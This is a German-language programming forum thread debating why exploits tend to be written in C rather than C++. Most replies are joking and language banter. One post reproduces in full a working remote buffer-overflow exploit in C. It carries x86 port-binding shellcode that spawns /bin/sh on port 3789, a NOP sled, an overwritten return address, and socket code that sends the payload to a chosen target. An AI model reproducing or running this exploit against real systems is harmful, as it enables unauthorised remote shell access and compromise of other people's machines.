Wieso sind Exploits in C?
-
volkard schrieb:
und die, die kapiert haben, warum sie c++ statt c nehmen, bauen auch software, die nicht gerade viele löcher hat.
? Ein Exploit ist ein Programm, dass einen Fehler in einer anderen Anwendung, deren Erstellungssprache reichlich uninteressant ist, ausnutzt, nicht das fehlerhafte Programm.
-
Daniel E. schrieb:
? Ein Exploit ist ein Programm, dass einen Fehler in einer anderen Anwendung, deren Erstellungssprache reichlich uninteressant ist, ausnutzt, nicht das fehlerhafte Programm.
ups. jo.
dann isses unfug, nur c-expoits zu kennen. man nimmt einfach die sprache, die dem problem am nächsten kommt. also perl für normale kaputte netzwerkpakete, c für nen buffer overflow, vb für nen outlook-express-wurm...
-
Meine Ideen dazu:
- C-Compiler sind verbreiteter, übersetzen schneller und sind ausgereifter.
- Exploits sind typischerweise designtechnisch so simpel, dass sie von C++ nicht profitieren würden.
- Hacker können kein C++, denn der Mensch hat nur begrenzt Hirnkapazität. Entweder C++ verstehen oder hacken (was tu ich hier eigentlich? )
-
Bashar schrieb:
- Hacker können kein C++, denn der Mensch hat nur begrenzt Hirnkapazität. Entweder C++ verstehen oder hacken (was tu ich hier eigentlich? )
Widerspruch! *g*
Ich bin eher dafür, dass die Leute, die C++ kapieren, finden, dass hacken langweilig und dumm ist.
-
Mr. N schrieb:
Bashar schrieb:
- Hacker können kein C++, denn der Mensch hat nur begrenzt Hirnkapazität. Entweder C++ verstehen oder hacken (was tu ich hier eigentlich? )
Widerspruch! *g*
wo?
-
Ich habe immer noch keine konkrete Antwort, wieso Exploits in C und nicht in C++ sind!!
-
Versteh ich nicht schrieb:
Ich habe immer noch keine konkrete Antwort, wieso Exploits in C und nicht in C++ sind!!
die Aussage ist falsch
-
[garnich ernst gemeint]
weil es einfacher ist nen printf zu schreiben als
cout<<"found ISS\ntry to inject Wurm"<<endl;
[/garnich ernst gemeint][code]
-
Wenn schon, steht da nicht
try to inject Wurm
sondern
trying to inject wormChrisM
-
Ein Exploit, der eine Shell öffnet, der Rest steht ja im Kommentar,
/* Simple remote exploit, which binds a shell on port 3789 * by triton * * After return address was overwritten, you can connect * with telnet or netcat to the victim host on Port 3789 * After you logged in... there's nothing, but try to enter "id;" (don't forget the semicolon) * So you should get an output, ok you've got a shell *g*. Always use: * * <command>; * * execute. */ #include <stdio.h> #include <netdb.h> #include <netinet/in.h> //Portbinding Shellcode char shellcode[] = "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; //standard offset (probably must be modified) #define RET 0xbffff2b8 int main(int argc, char *argv[]) { char buffer[1064]; int s, i, size; struct sockaddr_in remote; struct hostent *host; if(argc != 3) { printf("Usage: %s target-ip port\n", argv[0]); return -1; } // filling buffer with NOPs memset(buffer, 0x90, 1064); //copying shellcode into buffer memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode)); // the previous statement causes a unintential Nullbyte at buffer[1000] buffer[1000] = 0x90; // Copying the return address multiple times at the end of the buffer... for(i=1022; i < 1059; i+=4) { * ((int *) &buffer[i]) = RET; } buffer[1063] = 0x0; //getting hostname host=gethostbyname(argv[1]); if (host==NULL) { fprintf(stderr, "Unknown Host %s\n",argv[1]); return -1; } // creating socket... s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { fprintf(stderr, "Error: Socket\n"); return -1; } //state Protocolfamily , then converting the hostname or IP address, and getting port number remote.sin_family = AF_INET; remote.sin_addr = *((struct in_addr *)host->h_addr); remote.sin_port = htons(atoi(argv[2])); // connecting with destination host if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1) { close(s); fprintf(stderr, "Error: connect\n"); return -1; } //sending exploit string size = send(s, buffer, sizeof(buffer), 0); if (size==-1) { close(s); fprintf(stderr, "sending data failed\n"); return -1; } // closing socket close(s); }
edit by vh: code formatiert
-
Der Exploit selbst ist doch eh Assembler, hat doch nichts mehr mit C oder C++ zu tun!! Siehe Quelltext!
-
ºgrimmsenº schrieb:
Der Exploit selbst ist doch eh Assembler, hat doch nichts mehr mit C oder C++ zu tun!! Siehe Quelltext!
stimmt.
und zum impfen des anderen rechners ist ein wenig c genommenm worden. da wär aber perl angenehmern gewesen.